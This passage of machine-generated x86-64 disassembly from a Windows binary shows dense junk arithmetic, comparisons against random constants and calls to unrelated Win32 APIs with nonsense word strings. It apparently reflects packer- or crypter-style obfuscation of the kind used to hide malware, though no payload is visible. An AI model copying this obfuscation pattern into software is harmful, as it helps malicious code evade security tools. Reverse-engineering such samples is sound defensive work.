or eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sar eax, cl
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
shl eax, cl
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
mov eax, dword [rsp + 0x3034]
mov ecx, dword [rsp + 0x34fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6148], rax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd88], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x62d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe24]
movsx ecx, word [rsp + 0xe1c]
xor eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3034]
mov rcx, qword [rsp + 0x61a0]
mov qword [rsp + 0x62f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x348c], eax
jmp 0x14000d1ea
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov dword [rsp + 0x35bc], eax
cmp dword [rsp + 0x35bc], 0
je 0x14000d86d
cmp dword [rsp + 0x35bc], 0x1c51157a
je 0x14000d77a
jmp 0x14012b961
mov rax, qword [rsp + 0x6260]
mov rax, qword [rax]
mov qword [rsp + 0x6300], rax
movabs rax, 0x51c71b0464724de0
cmp qword [rsp + 0x6300], rax
je 0x14000d7a3
jmp 0x14000d7bb
movzx edx, word [rsp + 0xe20]
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rax]
call fcn.14012d9e0
nop
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x45
mov r9d, 0xcf
mov r8d, 0xcd
lea rdx, [rsp + 0x1b360]
mov rcx, qword [rsp + 0x6088]
call qword [sym.imp.USER32.dll_DlgDirListComboBoxW]
mov dword [rsp + 0x34dc], eax
jmp 0x14012b961
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6240]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000d940
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe1c], ax
mov eax, dword [rsp + 0x3034]
mov dword [rsp + 0x35c0], eax
cmp dword [rsp + 0x35c0], 0x48809e05
je 0x14000d8e6
cmp dword [rsp + 0x35c0], 0xaf211aa5
je 0x14000d924
jmp 0x14000d940
lea rdx, str.Arbitral_abets_Smelted_Impress
mov rcx, qword [rsp + 0x6088]
call qword [sym.imp.USER32.dll_RemovePropW]
mov qword [rsp + 0x6308], rax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
add eax, ecx
mov rcx, qword [rsp + 0x62d0]
mov byte [rcx], al
jmp 0x14000d940
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
and eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x5d58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6228]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x60b8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x14000da2f
lea r8, [rsp + 0x345c]
mov rdx, qword [rsp + 0x6310]
mov rcx, qword [rsp + 0x60b0]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x34ac], eax
mov rax, qword [rsp + 0x62b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe18], ax
mov eax, dword [rsp + 0x3568]
mov rcx, qword [rsp + 0x6150]
mov qword [rsp + 0x6318], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6318]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x60c0]
mov dword [rcx], eax
lea r8, [rsp + 0x1a6d0]
lea rdx, str.karakul_decrypting
mov rcx, qword [rsp + 0x6320]
call qword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [rsp + 0x3540], eax
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140147001], al
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
mov byte [rsp + 0x35c4], al
cmp byte [rsp + 0x35c4], 0
je 0x14000da5e
cmp byte [rsp + 0x35c4], 0x20
je 0x14012b82e
jmp 0x14012b8ac
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov dword [rsp + 0x35c8], eax
cmp dword [rsp + 0x35c8], 0
je 0x14000dab3
cmp dword [rsp + 0x35c8], 0x8e9
je 0x14012b746
jmp 0x14012b76a
lea rax, [rsp + 0x6130]
mov qword [rsp + 0x6328], rax
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov dword [rsp + 0x35cc], eax
cmp dword [rsp + 0x35cc], 0x34172a5e
je 0x14000daf7
cmp dword [rsp + 0x35cc], 0x7a66ebf6
je 0x14000db9e
jmp 0x14000dcb2
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x60b8]
shl rax, cl
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x3468]
mov dword [rsp + 0x35d0], eax
cmp dword [rsp + 0x35d0], 0x5adbddfd
je 0x14000db42
cmp dword [rsp + 0x35d0], 0x7f6132f9
je 0x14000db5a
jmp 0x14000db99
lea rcx, [rsp + 0x1a720]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x62e0], rax
jmp 0x14000db99
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
or eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd88], ax
jmp 0x14000dcb2
lea rcx, str.Soaringly_Saline
call qword [sym.imp.USER32.dll_CharNextW]
mov qword [rsp + 0x6310], rax
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov dword [rsp + 0x35d4], eax
cmp dword [rsp + 0x35d4], 0x733f2690
je 0x14000dbe3
cmp dword [rsp + 0x35d4], 0x749b5b25
je 0x14000dc26
jmp 0x14000dcb2
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
jmp 0x14000dcb2
mov r8d, 0xb4
mov edx, 0x79
mov rcx, qword [rsp + 0x61c0]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x3584], eax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x62d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6328]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
lea r9, str.measuring_finishing_insanities_Summation_Card
lea r8, str.Artefactual_Empiricism
mov rdx, qword [rsp + 0x62e0]
mov rcx, qword [rsp + 0x61f0]
call qword [sym.imp.USER32.dll_FindWindowExW]
mov qword [rsp + 0x6330], rax
movzx eax, word [rsp + 0xe0c]
mov word [0x1401482d4], ax
mov eax, dword [rsp + 0x34bc]
mov dword [rsp + 0x35d8], eax
mov eax, dword [rsp + 0x3568]
mov ecx, dword [rsp + 0x34dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6280]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x60b8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14012b570
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x162], al
lea rax, [rsp + 0xd88]
mov qword [0x1401482d8], rax
mov rax, qword [rsp + 0x60c0]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6150]
mov edx, dword [rsp + 0x35b4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14000de0d
mov eax, dword [rsp + 0x34fc]
mov ecx, dword [rsp + 0x34bc]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3590]
mov edx, dword [rsp + 0x3034]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000ddd5
mov rax, qword [rsp + 0x6220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6150]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
jmp 0x14000de08
lea rcx, [rsp + 0x1ad60]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x35dc], eax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6050], rax
jmp 0x14000deb4
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov dword [rsp + 0x35e0], eax
cmp dword [rsp + 0x35e0], 0xf0f
je 0x14000de2e
jmp 0x14000de45
lea rcx, [rsp + 0x1a940]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x345c], eax
jmp 0x14000deb4
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6328]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov word [rsp + 0xe28], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15f], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xa88], ax
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x62b0]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x14012b51f
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6188]
mov qword [rsp + 0x6338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6338]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6260]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
and eax, ecx
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
movzx edx, byte [section..data]
sub ecx, edx
cmp eax, ecx
jne 0x14000e096
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov qword [rsp + 0x6340], rax
cmp qword [rsp + 0x6340], 0
je 0x14000dfa3
movabs rax, 0xe081143454e7c142
cmp qword [rsp + 0x6340], rax
je 0x14000e07d
jmp 0x14000e096
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x6348], rax
cmp qword [rsp + 0x6348], 0
je 0x14000dfda
movabs rax, 0x73b3ff046756cadf
cmp qword [rsp + 0x6348], rax
je 0x14000e029
jmp 0x14000e07b
lea rax, [rsp + 0x6130]
mov qword [rsp + 0x6350], rax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x60c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe28]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
jmp 0x14000e07b
mov dword [rsp + 0x20], 0xc6
mov r9d, 0x58
mov r8d, 0x29
mov edx, 0xb8
lea rcx, [rsp + 0x6050]
call qword [sym.imp.USER32.dll_SetRect]
mov dword [rsp + 0x3578], eax
mov rax, qword [rsp + 0x6110]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x15d]
mov rax, qword [rsp + 0x62b0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
jmp 0x14000e096
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x15e], al
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x6358], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov rdx, qword [rsp + 0x61e0]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x14000e1ab
movsx eax, word [rsp + 0xa88]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [rsp + 0xe1c]
mov rdx, qword [rsp + 0x62b0]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x14000e1a6
mov rax, qword [rsp + 0x60e8]
movzx eax, byte [rax]
mov byte [rsp + 0x35e4], al
cmp byte [rsp + 0x35e4], 0x1c
je 0x14000e158
cmp byte [rsp + 0x35e4], 0x3f
je 0x14000e138
jmp 0x14000e1a6
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [section..data], al
jmp 0x14000e1a6
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6220]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x6330]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov dword [rsp + 0x3568], eax
mov eax, dword [rsp + 0x34dc]
mov ecx, dword [rsp + 0x349c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x35b4], eax
jmp 0x14012b4ce
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6260]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6328]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6350]
mov rdx, qword [rsp + 0x6170]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x14000e28c
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov byte [rsp + 0x35e8], al
cmp byte [rsp + 0x35e8], 0xe3
je 0x14000e228
jmp 0x14000e278
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x60d8]
movzx ecx, word [rax]
call fcn.14012e470
nop
jmp 0x14000e28c
mov rcx, qword [rsp + 0x6360]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x3584], eax
mov rax, qword [rsp + 0x6148]
mov qword [rsp + 0x6368], rax
cmp qword [rsp + 0x6368], 0
je 0x14000e3b2
movabs rax, 0x4da494aba18904cf
cmp qword [rsp + 0x6368], rax
je 0x14000e2c4
jmp 0x14000e455
mov eax, dword [rsp + 0x35b4]
mov dword [rsp + 0x35ec], eax
cmp dword [rsp + 0x35ec], 0x1f099f8c
je 0x14000e380
cmp dword [rsp + 0x35ec], 0x27b55d81
je 0x14000e2f5
jmp 0x14000e3ad
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x162]
and eax, ecx
mov rcx, qword [rsp + 0x62d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xe18], ax
movzx eax, word [rsp + 0xe28]
mov rcx, qword [rsp + 0x6358]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401482d8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x61f0]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov dword [rsp + 0x35f0], eax
jmp 0x14000e3ad
mov eax, dword [rsp + 0x34fc]
mov rcx, qword [rsp + 0x61d8]
mov qword [rsp + 0x6370], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6370]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3590], eax
jmp 0x14000e455
lea rax, [rsp + 0x349c]
mov qword [rsp + 0x6378], rax
mov rax, qword [rsp + 0x6328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x6260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6228]
mov qword [rsp + 0x6380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6380]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x60e8]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x6388], rax
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6220]
mov rdx, qword [rsp + 0x6118]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x14012b396
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6280]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe28]
or eax, ecx
movzx ecx, word [rsp + 0xe14]
movzx edx, word [rsp + 0xe0c]
xor ecx, edx
cmp eax, ecx
jne 0x14012b2c2
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x62d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x62d8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x60f8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000e59a
mov rax, qword [rsp + 0x61e0]
mov qword [rsp + 0x6390], rax
movabs rax, 0xcdc3344fe0555e8c
cmp qword [rsp + 0x6390], rax
je 0x14000e54c
jmp 0x14000e595
mov rax, qword [rsp + 0x6150]
mov eax, dword [rax]
mov dword [rsp + 0x35f4], eax
cmp dword [rsp + 0x35f4], 0x14165723
je 0x14000e56c
jmp 0x14000e587
mov rax, qword [rsp + 0x6328]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x6148]
call fcn.14012d3c0
nop
jmp 0x14000e595
call qword [sym.imp.USER32.dll_GetCapture]
mov qword [rsp + 0x6088], rax
jmp 0x14000e61d
mov rax, qword [rsp + 0x6098]
movzx eax, byte [rax]
mov byte [rsp + 0x35f8], al
cmp byte [rsp + 0x35f8], 0x6e
je 0x14000e5b8
jmp 0x14000e5ff
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [section..data], al
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x3568]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60e0]
movzx ecx, word [rax]
call fcn.14012e470
nop
jmp 0x14000e61d
mov rax, qword [rsp + 0x6280]
mov rcx, qword [rsp + 0x6050]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d58], rax
lea rax, [rsp + 0x348c]
mov qword [rsp + 0x6398], rax
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x35fc], al
cmp byte [rsp + 0x35fc], 0
je 0x14000e64b
jmp 0x14012b1e5
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x5d58]
and rcx, rax
mov rax, rcx
mov qword [0x140147008], rax
mov rax, qword [rsp + 0x6350]
mov rax, qword [rax]
mov qword [rsp + 0x63a0], rax
mov rax, qword [rsp + 0x6328]
mov rax, qword [rax]
mov qword [rsp + 0x63a8], rax
movabs rax, 0x467f58229e3be840
cmp qword [rsp + 0x63a8], rax
je 0x14000e6bd
jmp 0x14000e70c
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x6398]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
lea r9, [rsp + 0x6060]
lea r8, [rsp + 0x60e8]
mov edx, 0x1f
mov rcx, qword [rsp + 0x63b0]
call qword [sym.imp.USER32.dll_GetScrollRange]
mov dword [rsp + 0x3600], eax
jmp 0x14012b156
mov rax, qword [rsp + 0x6260]
mov rax, qword [rax]
mov rcx, qword [0x140147008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6350]
mov rax, qword [rax]
mov qword [rsp + 0x63b8], rax
cmp qword [rsp + 0x63b8], 0
je 0x14000e76a
movabs rax, 0x1ff9105ba0a02e9c
cmp qword [rsp + 0x63b8], rax
je 0x14012b0f6
mov rax, qword [rsp + 0x6398]
mov ecx, dword [rsp + 0x35d8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6220]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x348c]
shr edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x14012b049
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x5834], eax
cmp dword [rsp + 0x5834], 0x4592d430
je 0x14012b180
cmp dword [rsp + 0x5834], 0x66f795ca
je 0x14012b1c6
lea r9, [rsp + 0x63d0]
mov r8d, 0xa4
mov rdx, qword [rsp + 0x1a460]
mov rcx, qword [rsp + 0x6078]
call qword [sym.imp.USER32.dll_GetMenuItemRect]
mov dword [rsp + 0x35dc], eax
mov rdx, qword [rsp + 0x63a0]
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rax]
call fcn.14012d3c0
nop
jmp 0x14012b1e0
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x5838], eax
cmp dword [rsp + 0x5838], 0x3f0e20d1
je 0x14012b261
cmp dword [rsp + 0x5838], 0x5ec16eba
je 0x14012b20f
jmp 0x14012b27e
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15c], al
lea rcx, [rsp + 0x1ad60]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x3510], eax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
jmp 0x14012b27e
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe24]
sar eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
lea rdx, [rsp + 0x1b0c0]
lea rcx, str.Bluebells_interpret_totalling_purification_Hall
call qword [sym.imp.USER32.dll_OemToCharW]
mov dword [rsp + 0x34e0], eax
call fcn.14012ca40
nop
jmp 0x14012b339
mov rdx, qword [rsp + 0x61f0]
mov rcx, qword [rsp + 0x63b0]
call qword [sym.imp.USER32.dll_ChangeClipboardChain]
mov dword [rsp + 0x57fc], eax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, word [0x1401482d4]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe0c], ax
mov r8d, 0xc
mov edx, 0x7a
mov rcx, qword [rsp + 0x1a440]
call qword [sym.imp.USER32.dll_RemoveMenu]
mov dword [rsp + 0x3600], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x3590]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x62b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
lea r9, str.prophetic_Accrued
lea r8, str.Concise_Suffixed
mov rdx, qword [rsp + 0x61d0]
mov rcx, qword [rsp + 0x61c8]
call qword [sym.imp.USER32.dll_FindWindowExW]
mov qword [rsp + 0x61f0], rax
movsx eax, word [0x140147004]
movsx ecx, word [rsp + 0xa88]
add eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401482d4], ax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
